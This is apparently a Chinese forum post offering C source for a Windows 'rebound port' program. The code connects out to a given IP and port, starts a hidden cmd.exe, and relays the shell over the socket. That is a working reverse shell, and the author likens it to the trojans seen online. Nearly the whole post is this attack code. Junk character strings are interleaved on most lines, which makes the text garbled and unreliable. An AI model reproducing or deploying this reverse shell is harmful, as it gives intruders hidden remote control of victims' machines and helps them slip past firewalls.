Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 UCI !>G  
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/* ============================== W'f)W4D$6  
Rebound port in Windows NT i3U_G^8  
By wind,2006/7 Ztj~Q9mu  
===============================*/ Rd>PE=u  
#include V^qkHm e  
#include .;jp2^  
m$80D,3  
#pragma comment(lib,"wsock32.lib") #ByrX\  
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void OutputShell(); 8mv}-;  
SOCKET sClient; *."a>?D~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; TY*uK  
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void main(int argc,char **argv) kC=h[<'  
{ be+tAp`  
WSADATA stWsaData; D5jZ;z}  
int nRet; o 12w
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SOCKADDR_IN stSaiClient,stSaiServer; aT20FEZ;  
z P=3B%$  
if(argc != 3) zjUT:#(k  
{ 2t1u{  
printf("Useage:\n\rRebound DestIP DestPort\n"); UwVc!Lys  
return; W~2T/~M  
} CyV(+KBe_  
7)  
WSAStartup(MAKEWORD(2,2),&stWsaData); -/gAb<=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mxkv{;ad  
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stSaiClient.sin_family = AF_INET; N!YjMx)P  
stSaiClient.sin_port = htons(0); oz#;7 ?9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (#5TM1/A  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I'a&n}jx  
{ O+*<^*YyD  
printf("Bind Socket Failed!\n"); jb0LMl}/A  
return; RAi]9`*7  
} w5R?9"d@  
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stSaiServer.sin_family = AF_INET; :%kJ9zW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &N\4/'wV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X}RQ&k  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8 rA'd  
{ {aVL3QU  
printf("Connect Error!"); k!= jO#)Rd  
return; 5#hsy;q;[  
} iqTGh*k  
OutputShell(); Z!SFJ{  
} i5G"@4(  
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void OutputShell() x&YcF78  
{ y)#=8oci  
char szBuff[1024]; aW@J]slg  
SECURITY_ATTRIBUTES stSecurityAttributes; +-OnO7f  
OSVERSIONINFO stOsversionInfo; Nx^r&pr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E;)7#3gY1  
STARTUPINFO stStartupInfo; 5.X`[/]<r  
char *szShell; z2Kvp"-}  
PROCESS_INFORMATION stProcessInformation; 0VwmV_6'<W  
unsigned long lBytesRead; ;1Zz-@  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g*[DyIm  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?^3Q5ye  
stSecurityAttributes.lpSecurityDescriptor = 0; a+#Aitd  
stSecurityAttributes.bInheritHandle = TRUE; yjB.-o('  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y.}8lh eH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MaQ`7U5 |e  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v''F\V )  
stStartupInfo.wShowWindow = SW_HIDE; 5"o)^8!>  
stStartupInfo.hStdInput = hReadPipe; uszH1@g'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; siK:?A@4D  
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GetVersionEx(&stOsversionInfo); A.>TD
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switch(stOsversionInfo.dwPlatformId) 2j(]Bt:  
{ 'D<84|w:1  
case 1: X4dXO5\  
szShell = "command.com"; H6/C7  
break; b0a
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default:  %3A~&  
szShell = "cmd.exe"; mb_~ "}A  
break; o u*`~K|R  
} jg+q{ ^  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1KWGQJ%%s  
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send(sClient,szMsg,77,0); Y~C;M6(P  
while(1) q>H f2
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{ [G>U>[u|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .L'eVLQe  
if(lBytesRead) ?)i`)mu'  
{ ed6eC8@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &R~)/y0]  
send(sClient,szBuff,lBytesRead,0); \CDzVO0^  
} t9(sSl  
else 5U5)$K'OA  
{ ,a1 1&"xl  
lBytesRead=recv(sClient,szBuff,1024,0); u&\QZW?  
if(lBytesRead<=0) break; ,8/Con|o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3D*vNVI  
} n\G88)Dv`V  
} _hbTxyj  
>+8Kl`2sw;  
return; .X)TRD#MW  
}